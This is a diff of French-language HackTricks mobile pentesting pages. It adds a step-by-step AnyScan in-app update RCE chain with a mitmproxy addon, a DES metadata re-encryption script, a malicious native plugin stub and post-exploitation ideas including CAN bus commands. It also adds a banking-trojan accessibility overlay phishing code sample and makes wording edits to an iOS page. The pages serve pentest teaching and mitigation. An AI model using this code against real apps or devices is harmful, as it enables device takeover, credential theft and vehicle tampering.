{{#include ../../banners/hacktricks-training.md}}

124
src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md Normal file
View File

@ -0,0 +1,124 @@
# Mécanismes de mise à jour insecures dans l'application – Exécution de code à distance via des plugins malveillants
{{#include ../../banners/hacktricks-training.md}}
De nombreuses applications Android mettent en œuvre leurs **propres canaux de mise à jour “plugin” ou “fonctionnalité dynamique”** au lieu d'utiliser le Google Play Store. Lorsque l'implémentation est insecure, un attaquant capable d'intercepter le trafic peut fournir **du code natif arbitraire qui sera chargé dans le processus de l'application**, entraînant une Exécution de Code à Distance (RCE) complète sur le téléphone – et dans certains cas sur tout appareil externe contrôlé par l'application (voitures, IoT, dispositifs médicaux…).
Cette page résume une chaîne de vulnérabilité du monde réel trouvée dans l'application de diagnostic automobile Xtool **AnyScan** (v4.40.11 → 4.40.40) et généralise la technique afin que vous puissiez auditer d'autres applications Android et exploiter la mauvaise configuration lors d'un engagement de red team.
---
## 1. Identifier un TrustManager TLS insecure
1. Décompilez l'APK avec jadx / apktool et localisez la pile réseau (OkHttp, HttpUrlConnection, Retrofit…).
2. Recherchez un **`TrustManager`** ou `HostnameVerifier` personnalisé qui fait confiance aveuglément à chaque certificat :
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
```
3. S'il est présent, l'application acceptera **n'importe quel certificat TLS** → vous pouvez exécuter un **proxy MITM** transparent avec un certificat auto-signé :
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Ingénierie Inverse des Métadonnées de Mise à Jour
Dans le cas d'AnyScan, chaque lancement d'application déclenche un HTTPS GET à :
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Le corps de la réponse est un **document XML** dont les nœuds `<FileData>` contiennent des JSON **encodés en Base64 et chiffrés en DES-ECB** décrivant chaque plugin disponible.
Étapes typiques de recherche :
1. Localiser la routine crypto (par exemple, `RemoteServiceProxy`) et récupérer :
* algorithme (DES / AES / RC4 …)
* mode de fonctionnement (ECB / CBC / GCM …)
* clé / IV codés en dur (souvent des clés DES de 56 bits ou des clés AES de 128 bits dans des constantes)
2. Réimplémenter la fonction en Python pour déchiffrer / chiffrer les métadonnées :
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan
def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))
def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Créer un plugin malveillant
1. Choisissez n'importe quel plugin légitime en ZIP et remplacez la bibliothèque native par votre payload :
```c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
```
```bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Mettez à jour les métadonnées JSON afin que `"FileName" : "PWNED.zip"` et que `"DownloadURL"` pointe vers votre serveur HTTP.
3. Chiffrez en DES + encodez en Base64 le JSON modifié et copiez-le à l'intérieur de l'XML intercepté.
## 4. Livrer le Payload avec mitmproxy
`addon.py` exemple qui *silencieusement* échange les métadonnées originales :
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)
```
Exécutez un serveur web simple pour héberger le ZIP malveillant :
```bash
python3 -m http.server 8000 --directory ./payloads
```
Lorsque la victime lance l'application, elle va :
* récupérer notre XML falsifié via le canal MITM ;
* le déchiffrer et l'analyser avec la clé DES codée en dur ;
* télécharger `PWNED.zip` → dézipper dans le stockage privé ;
* `dlopen()` la *libscan_x64.so* incluse, exécutant instantanément notre code **avec les permissions de l'application** (caméra, GPS, Bluetooth, système de fichiers, …).
Parce que le plugin est mis en cache sur le disque, la porte dérobée **persiste à travers les redémarrages** et s'exécute chaque fois que l'utilisateur sélectionne la fonctionnalité associée.
## 5. Idées de Post-Exploitation
* Voler des cookies de session, des jetons OAuth ou des JWT stockés par l'application.
* Déposer un APK de deuxième étape et l'installer silencieusement via `pm install` (l'application a déjà `REQUEST_INSTALL_PACKAGES`).
* Abuser de tout matériel connecté – dans le scénario AnyScan, vous pouvez envoyer des **commandes OBD-II / CAN bus** arbitraires (déverrouiller les portes, désactiver l'ABS, etc.).
---
### Liste de Vérification pour la Détection & la Mitigation (équipe bleue)
* NE JAMAIS expédier une version de production avec un TrustManager/HostnameVerifier personnalisé qui désactive la validation des certificats.
* Ne pas télécharger de code exécutable depuis l'extérieur de Google Play. Si vous *devez*, signez chaque plugin avec la même clé **apkSigning v2** et vérifiez la signature avant de charger.
* Remplacer le cryptage faible/codé en dur par **AES-GCM** et une clé tournante côté serveur.
* Valider l'intégrité des archives téléchargées (signature ou au moins SHA-256).
---
## Références
- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
{{#include ../../banners/hacktricks-training.md}}

50
src/mobile-pentesting/android-app-pentesting/tapjacking.md
View File

@ -52,7 +52,7 @@ Un projet exemple implémentant **FloatingWindowApp**, qui peut être utilisé p
> [!CAUTION]
> Il semble que ce projet ne soit plus maintenu et que cette fonctionnalité ne fonctionne plus correctement
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les vulnérabilités potentielles de **Tapjacking**.\
Vous pouvez utiliser [**qark**](https://github.com/linkedin/qark) avec les paramètres `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` pour créer une application malveillante afin de tester les éventuelles vulnérabilités de **Tapjacking**.\
L'atténuation est relativement simple car le développeur peut choisir de ne pas recevoir d'événements tactiles lorsqu'une vue est recouverte par une autre. En utilisant la [Référence des développeurs Android](https://developer.android.com/reference/android/view/View#security):
@ -60,5 +60,53 @@ L'atténuation est relativement simple car le développeur peut choisir de ne pa
>
> Pour activer le filtrage des touches, appelez [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) ou définissez l'attribut de mise en page android:filterTouchesWhenObscured sur true. Lorsqu'il est activé, le framework rejettera les touches reçues chaque fois que la fenêtre de la vue est obscurcie par une autre fenêtre visible. En conséquence, la vue ne recevra pas de touches chaque fois qu'un toast, un dialogue ou une autre fenêtre apparaît au-dessus de la fenêtre de la vue.
---
## Phishing par superposition d'accessibilité (variante de Trojan bancaire)
En plus du Tapjacking classique, les familles de logiciels malveillants bancaires Android modernes (par exemple, **ToxicPanda**, BrasDex, Sova, etc.) abusent du **Service d'accessibilité** pour placer une **superposition** WebView en plein écran au-dessus de l'application légitime tout en étant capable de **transmettre l'entrée utilisateur** à la vue en dessous. Cela augmente considérablement la crédibilité et permet aux attaquants de voler des identifiants, des OTP ou même d'automatiser des transactions frauduleuses.
### Comment ça fonctionne
1. L'APK malveillant demande la permission très sensible `BIND_ACCESSIBILITY_SERVICE`, cachant généralement la demande derrière un faux dialogue Google/Chrome/visualiseur PDF.
2. Une fois que l'utilisateur active le service, le logiciel malveillant simule programmétiquement les taps nécessaires pour accorder des permissions supplémentaires dangereuses (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …).
3. Un **WebView** est gonflé et ajouté au gestionnaire de fenêtres en utilisant le type de fenêtre **`TYPE_ACCESSIBILITY_OVERLAY`**. La superposition peut être rendue totalement opaque ou semi-transparente et peut être marquée comme *“à travers”* afin que les touches d'origine soient toujours livrées à l'activité en arrière-plan (ainsi la transaction se produit réellement pendant que la victime ne voit que le formulaire de phishing).
```java
WebView phishingView = new WebView(getApplicationContext());
phishingView.getSettings().setJavaScriptEnabled(true);
phishingView.loadUrl("file:///android_asset/bank_login.html");
WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY, // <-- bypasses SYSTEM_ALERT_WINDOW prompt
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL, // «through» flag → forward touches
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
### Flux de travail typique utilisé par les chevaux de Troie bancaires
* Interroger les packages installés (`QUERY_ALL_PACKAGES`) pour déterminer quelle application bancaire / portefeuille est actuellement ouverte.
* Télécharger un **modèle de superposition HTML/JS** depuis le C2 qui imite parfaitement cette application spécifique (logo, couleurs, chaînes i18n…).
* Afficher la superposition, récolter les identifiants/numéros PIN/motif.
* Utiliser l'**API d'accessibilité** (`performGlobalAction`, `GestureDescription`) pour automatiser les transferts en arrière-plan.
### Détection et atténuation
* Auditer la liste des applications installées avec `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
* Du côté de l'application (banque / portefeuille) :
- Activer **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) sur les vues sensibles pour bloquer les services non Play Store.
- Combiner avec `setFilterTouchesWhenObscured(true)` et `FLAG_SECURE`.
* Renforcement du système :
- Désactiver *Installer à partir de sources inconnues* et *Accessibilité pour les applications non fiables*.
- Appliquer PlayProtect et des appareils à jour.
Pour des détails supplémentaires sur l'utilisation des services d'accessibilité pour un contrôle total à distance de l'appareil (par exemple, PlayPraetor, SpyNote, etc.), voir :
{{#ref}}
accessibility-services-abuse.md
{{#endref}}
## Références
* [Bitsight – Étude sur le malware bancaire Android ToxicPanda 2025](https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study)
{{#include ../../banners/hacktricks-training.md}}

76
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -10,7 +10,7 @@ ios-basics.md
## Testing Environment
Dans cette page, vous pouvez trouver des informations sur le **simulateur iOS**, les **émulateurs** et le **jailbreaking** :
Dans cette page, vous pouvez trouver des informations sur le **simulateur iOS**, les **émulateurs** et le **jailbreaking :**
{{#ref}}
ios-testing-environment.md
@ -20,7 +20,7 @@ ios-testing-environment.md
### Basic iOS Testing Operations
Lors des tests, **plusieurs opérations vont être suggérées** (se connecter à l'appareil, lire/écrire/télécharger/téléverser des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer à lire la page** :
Pendant le test, **plusieurs opérations vont être suggérées** (se connecter à l'appareil, lire/écrire/télécharger/téléverser des fichiers, utiliser certains outils...). Par conséquent, si vous ne savez pas comment effectuer l'une de ces actions, veuillez **commencer à lire la page** :
{{#ref}}
basic-ios-testing-operations.md
@ -53,7 +53,7 @@ otool -hv <app-binary> | grep PIE # Il devrait inclure le drapeau PIE
otool -I -v <app-binary> | grep stack_chk # Il devrait inclure les symboles : stack_chk_guard et stack_chk_fail
```
- **ARC (Automatic Reference Counting)** : Pour prévenir les défauts courants de corruption de mémoire
- **ARC (Automatic Reference Counting)** : Pour prévenir les défauts de corruption de mémoire courants
```bash
otool -I -v <app-binary> | grep objc_release # Il devrait inclure le symbole _objc_release
@ -62,7 +62,7 @@ otool -I -v <app-binary> | grep objc_release # Il devrait inclure le symbole _
- **Encrypted Binary** : Le binaire doit être chiffré
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Le cryptid devrait être 1
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Le cryptid doit être 1
```
**Identification des Fonctions Sensibles/Insecure**
@ -152,7 +152,7 @@ PID Name Identifier
- Camera com.apple.camera
- iGoat-Swift OWASP.iGoat-Swift
```
### Énumération de base & Hooking
### Énumération de base et Hooking
Apprenez à **énumérer les composants de l'application** et comment **hooker facilement des méthodes et des classes** avec objection :
@ -164,11 +164,11 @@ ios-hooking-with-objection.md
La structure d'un **fichier IPA** est essentiellement celle d'un **package compressé**. En renommant son extension en `.zip`, il peut être **décompressé** pour révéler son contenu. Dans cette structure, un **Bundle** représente une application entièrement empaquetée prête à être installée. À l'intérieur, vous trouverez un répertoire nommé `<NAME>.app`, qui encapsule les ressources de l'application.
- **`Info.plist`** : Ce fichier contient des détails de configuration spécifiques de l'application.
- **`Info.plist`** : Ce fichier contient des détails de configuration spécifiques à l'application.
- **`_CodeSignature/`** : Ce répertoire inclut un fichier plist qui contient une signature, garantissant l'intégrité de tous les fichiers dans le bundle.
- **`Assets.car`** : Une archive compressée qui stocke des fichiers d'actifs comme des icônes.
- **`Frameworks/`** : Ce dossier abrite les bibliothèques natives de l'application, qui peuvent être sous forme de fichiers `.dylib` ou `.framework`.
- **`PlugIns/`** : Cela peut inclure des extensions à l'application, connues sous le nom de fichiers `.appex`, bien qu'elles ne soient pas toujours présentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata) : Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser des données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.
- **`PlugIns/`** : Cela peut inclure des extensions à l'application, connues sous le nom de fichiers `.appex`, bien qu'elles ne soient pas toujours présentes. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata) : Il est utilisé pour sauvegarder les données permanentes de votre application pour une utilisation hors ligne, pour mettre en cache des données temporaires et pour ajouter une fonctionnalité d'annulation à votre application sur un seul appareil. Pour synchroniser les données sur plusieurs appareils dans un seul compte iCloud, Core Data reflète automatiquement votre schéma dans un conteneur CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html) : Le fichier `PkgInfo` est un moyen alternatif de spécifier les codes de type et de créateur de votre application ou bundle.
- **en.lproj, fr.proj, Base.lproj** : Sont les packs de langue qui contiennent des ressources pour ces langues spécifiques, et une ressource par défaut au cas où une langue ne serait pas supportée.
- **Sécurité** : Le répertoire `_CodeSignature/` joue un rôle critique dans la sécurité de l'application en vérifiant l'intégrité de tous les fichiers empaquetés grâce à des signatures numériques.
@ -178,7 +178,7 @@ La structure d'un **fichier IPA** est essentiellement celle d'un **package compr
**Info.plist**
Le **Info.plist** sert de pierre angulaire pour les applications iOS, encapsulant des données de configuration clés sous forme de **paires clé-valeur**. Ce fichier est requis non seulement pour les applications mais aussi pour les extensions d'application et les frameworks empaquetés. Il est structuré en format XML ou binaire et contient des informations critiques allant des autorisations d'application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la [**Documentation des développeurs Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Le **Info.plist** sert de pierre angulaire pour les applications iOS, encapsulant des données de configuration clés sous forme de **paires clé-valeur**. Ce fichier est requis non seulement pour les applications mais aussi pour les extensions d'application et les frameworks inclus. Il est structuré en format XML ou binaire et contient des informations critiques allant des autorisations d'application aux configurations de sécurité. Pour une exploration détaillée des clés disponibles, on peut se référer à la [**Documentation des développeurs Apple**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Pour ceux qui souhaitent travailler avec ce fichier dans un format plus accessible, la conversion XML peut être réalisée facilement grâce à l'utilisation de `plutil` sur macOS (disponible nativement sur les versions 10.2 et ultérieures) ou `plistutil` sur Linux. Les commandes pour la conversion sont les suivantes :
@ -200,7 +200,7 @@ $ grep -i <keyword> Info.plist
Dans l'environnement iOS, les répertoires sont désignés spécifiquement pour les **applications système** et les **applications installées par l'utilisateur**. Les applications système résident dans le répertoire `/Applications`, tandis que les applications installées par l'utilisateur sont placées sous `/var/mobile/containers/Data/Application/`. Ces applications se voient attribuer un identifiant unique connu sous le nom de **UUID 128 bits**, rendant la tâche de localiser manuellement le dossier d'une application difficile en raison de l'aléatoire des noms de répertoire.
> [!WARNING]
> Comme les applications iOS doivent être isolées, chaque application aura également un dossier à l'intérieur de **`$HOME/Library/Containers`** avec le **`CFBundleIdentifier`** de l'application comme nom de dossier.
> Comme les applications dans iOS doivent être isolées, chaque application aura également un dossier à l'intérieur de **`$HOME/Library/Containers`** avec le **`CFBundleIdentifier`** de l'application comme nom de dossier.
>
> Cependant, les deux dossiers (données et dossiers de conteneur) contiennent le fichier **`.com.apple.mobile_container_manager.metadata.plist`** qui relie les deux fichiers dans la clé `MCMetadataIdentifier`).
@ -227,7 +227,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
**Répertoire du bundle :**
- **AppName.app**
- C'est le bundle de l'application comme vu précédemment dans l'IPA, il contient des données essentielles de l'application, du contenu statique ainsi que le binaire compilé de l'application.
- C'est le Bundle d'application comme vu précédemment dans l'IPA, il contient des données essentielles de l'application, du contenu statique ainsi que le binaire compilé de l'application.
- Ce répertoire est visible par les utilisateurs, mais **les utilisateurs ne peuvent pas y écrire**.
- Le contenu de ce répertoire **n'est pas sauvegardé**.
- Les contenus de ce dossier sont utilisés pour **valider la signature du code**.
@ -243,7 +243,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Contient tous les **fichiers qui ne sont pas spécifiques à l'utilisateur**, tels que **caches**, **préférences**, **cookies**, et fichiers de configuration de liste de propriétés (plist).
- Les applications iOS utilisent généralement les sous-répertoires `Application Support` et `Caches`, mais l'application peut créer des sous-répertoires personnalisés.
- **Library/Caches/**
- Contient des **fichiers mis en cache semi-persistants.**
- Contient des **fichiers cache semi-persistants.**
- Invisible pour les utilisateurs et **les utilisateurs ne peuvent pas y écrire**.
- Le contenu de ce répertoire **n'est pas sauvegardé**.
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
@ -258,12 +258,12 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Tous les paires clé/valeur stockées en utilisant `NSUserDefaults` peuvent être trouvées dans ce fichier.
- **tmp/**
- Utilisez ce répertoire pour écrire des **fichiers temporaires** qui n'ont pas besoin de persister entre les lancements de l'application.
- Contient des fichiers mis en cache non persistants.
- Contient des fichiers cache non persistants.
- **Invisible** pour les utilisateurs.
- Le contenu de ce répertoire n'est pas sauvegardé.
- Le système d'exploitation peut supprimer automatiquement les fichiers de ce répertoire lorsque l'application n'est pas en cours d'exécution et que l'espace de stockage est faible.
Examinons de plus près le répertoire du Bundle de l'application iGoat-Swift (.app) à l'intérieur du répertoire Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) :
Examinons de plus près le Bundle d'application iGoat-Swift (.app) à l'intérieur du répertoire Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`) :
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -329,7 +329,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
Pour obtenir un code Objective-C plus compact, vous pouvez utiliser [**class-dump**](http://stevenygard.com/projects/class-dump/) :
Pour obtenir un code Objective-C plus compact, vous pouvez utiliser [**class-dump**](http://stevenygard.com/projects/class-dump/):
```bash
class-dump some-app
//
@ -379,7 +379,7 @@ La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundatio
Ces données ne peuvent plus être accessibles directement via un ordinateur de confiance, mais peuvent être accessibles en effectuant une **sauvegarde**.
Vous pouvez **extraire** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get`
Vous pouvez **dumper** les informations enregistrées en utilisant **`NSUserDefaults`** avec `objection's ios nsuserdefaults get`
Pour trouver tous les plist utilisés par l'application, vous pouvez accéder à `/private/var/mobile/Containers/Data/Application/{APPID}` et exécuter :
```bash
@ -403,7 +403,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) est un framework pour gérer la couche modèle des objets dans votre application. [Core Data peut utiliser SQLite comme son magasin persistant](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), mais le framework lui-même n'est pas une base de données.\
CoreData n'encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Voir le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails.
CoreData n'encrypte pas ses données par défaut. Cependant, une couche de chiffrement supplémentaire peut être ajoutée à CoreData. Consultez le [GitHub Repo](https://github.com/project-imas/encrypted-core-data) pour plus de détails.
Vous pouvez trouver les informations SQLite Core Data d'une application dans le chemin `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
@ -487,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Cookies
iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le fichier **cookie mentionné peut être accessible dans les sauvegardes**.
iOS stocke les cookies des applications dans le **`Library/Cookies/cookies.binarycookies`** à l'intérieur de chaque dossier d'application. Cependant, les développeurs décident parfois de les enregistrer dans le **keychain** car le **fichier de cookie peut être accessible dans les sauvegardes**.
Pour inspecter le fichier de cookies, vous pouvez utiliser [**ce script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou utiliser **`ios cookies get`** d'objection.\
**Vous pouvez également utiliser objection pour** convertir ces fichiers en format JSON et inspecter les données.
@ -522,7 +522,7 @@ Cette méthode supprimera toutes les requêtes et réponses mises en cache du fi
[Documentation Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) :
`Un objet de configuration de session éphémère est similaire à une configuration de session par défaut (voir défaut), sauf que l'objet de session correspondant ne stocke pas de caches, de magasins d'identifiants ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées dans la RAM. La seule fois qu'une session éphémère écrit des données sur le disque, c'est lorsque vous lui dites d'écrire le contenu d'une URL dans un fichier.`
`Un objet de configuration de session éphémère est similaire à une configuration de session par défaut (voir défaut), sauf que l'objet de session correspondant ne stocke pas de caches, de magasins d'identifiants ou de données liées à la session sur le disque. Au lieu de cela, les données liées à la session sont stockées en RAM. La seule fois qu'une session éphémère écrit des données sur le disque, c'est lorsque vous lui dites d'écrire le contenu d'une URL dans un fichier.`
3. Le cache peut également être désactivé en définissant la politique de cache sur [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Cela désactivera le stockage du cache de toute manière, que ce soit en mémoire ou sur disque.
@ -532,7 +532,7 @@ Chaque fois que vous appuyez sur le bouton d'accueil, iOS **prend un instantané
À moins que l'iPhone ne soit jailbreaké, l'**attaquant** doit avoir **accès** à l'**appareil** **débloqué** pour voir ces captures d'écran. Par défaut, le dernier instantané est stocké dans le bac à sable de l'application dans le dossier `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (les ordinateurs de confiance ne peuvent pas accéder au système de fichiers depuis iOS 7.0).
Une façon de prévenir ce mauvais comportement est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`.
Une façon de prévenir ce comportement indésirable est de mettre un écran vide ou de supprimer les données sensibles avant de prendre l'instantané en utilisant la fonction `ApplicationDidEnterBackground()`.
Voici un exemple de méthode de remédiation qui définira un instantané par défaut.
@ -551,7 +551,7 @@ func applicationWillEnterForeground(_ application: UIApplication) {
backgroundImage?.removeFromSuperview()
}
```
Objectif-C :
Objective-C :
```
@property (UIImageView *)backgroundImage;
@ -584,7 +584,7 @@ Pour extraire ces identifiants stockés, la commande `ios nsurlcredentialstorage
## **Claviers personnalisés et cache de clavier**
Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données à des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles.
Avec iOS 8.0 et versions ultérieures, les utilisateurs peuvent installer des extensions de clavier personnalisées, qui sont gérables sous **Réglages > Général > Clavier > Claviers**. Bien que ces claviers offrent des fonctionnalités étendues, ils présentent un risque d'enregistrement des frappes et de transmission de données vers des serveurs externes, bien que les utilisateurs soient informés des claviers nécessitant un accès réseau. Les applications peuvent, et doivent, restreindre l'utilisation de claviers personnalisés pour la saisie d'informations sensibles.
**Recommandations de sécurité :**
@ -665,7 +665,7 @@ Des informations sensibles peuvent être recherchées à l'aide d'outils en lign
...
</plist>
```
Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le [répertoire GitHub de DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), comme **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans des sauvegardes protégées par mot de passe.
Pour traiter les sauvegardes chiffrées, des scripts Python disponibles dans le [DinoSec's GitHub repo](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), comme **backup_tool.py** et **backup_passwd.py**, peuvent être utiles, bien qu'ils nécessitent potentiellement des ajustements pour être compatibles avec les dernières versions d'iTunes/Finder. L'outil [**iOSbackup**](https://pypi.org/project/iOSbackup/) est une autre option pour accéder aux fichiers dans des sauvegardes protégées par mot de passe.
### Modification du Comportement de l'Application
@ -673,7 +673,7 @@ Un exemple de modification du comportement d'une application par le biais de mod
## Résumé sur les Tests de Mémoire pour les Données Sensibles
Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un dump de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, notamment le risque de manquer des données critiques lors du processus de dump ou d'analyse.
Lorsqu'il s'agit d'informations sensibles stockées dans la mémoire d'une application, il est crucial de limiter le temps d'exposition de ces données. Il existe deux approches principales pour enquêter sur le contenu de la mémoire : **créer un dump de mémoire** et **analyser la mémoire en temps réel**. Les deux méthodes présentent des défis, y compris le risque de manquer des données critiques lors du processus de dump ou d'analyse.
## **Récupération et Analyse d'un Dump de Mémoire**
@ -712,7 +712,7 @@ Les développeurs ne devraient pas utiliser des **algorithmes obsolètes** pour
### Vérification
Les principales vérifications à effectuer consistent à déterminer si vous pouvez trouver des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**.
Les principales vérifications à effectuer consistent à trouver si vous pouvez trouver des mots de passe/secrets **codés en dur** dans le code, ou si ceux-ci sont **prévisibles**, et si le code utilise des algorithmes de **cryptographie** **faibles**.
Il est intéressant de savoir que vous pouvez **surveiller** certaines **bibliothèques** **crypto** automatiquement en utilisant **objection** avec :
```swift
@ -749,7 +749,7 @@ La mise en œuvre de l'**authentification locale** dans les applications iOS imp
Le keychain offre la capacité de définir des éléments avec l'attribut `SecAccessControl`, qui restreint l'accès à l'élément jusqu'à ce que l'utilisateur s'authentifie avec succès via Touch ID ou le code d'accès de l'appareil. Cette fonctionnalité est cruciale pour améliorer la sécurité.
Voici des exemples de code en Swift et Objective-C démontrant comment enregistrer et récupérer une chaîne dans/le keychain, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil sur lequel elles ont été configurées, sous la condition qu'un code d'accès de l'appareil soit configuré.
Ci-dessous se trouvent des exemples de code en Swift et Objective-C démontrant comment enregistrer et récupérer une chaîne dans/le keychain, en tirant parti de ces fonctionnalités de sécurité. Les exemples montrent spécifiquement comment configurer le contrôle d'accès pour exiger une authentification Touch ID et garantir que les données ne sont accessibles que sur l'appareil sur lequel elles ont été configurées, sous la condition qu'un code d'accès de l'appareil soit configuré.
{{#tabs}}
{{#tab name="Swift"}}
@ -891,7 +891,7 @@ Si `Security.framework` est utilisé, seul le second sera affiché.
#### **Objection**
